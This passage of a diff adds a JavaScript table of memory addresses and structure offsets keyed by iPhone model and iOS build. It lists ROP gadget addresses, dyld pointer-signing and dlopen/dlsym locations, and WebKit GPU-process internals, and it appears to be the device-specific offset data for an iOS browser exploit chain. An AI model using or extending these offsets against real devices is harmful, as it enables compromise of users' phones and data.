gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + 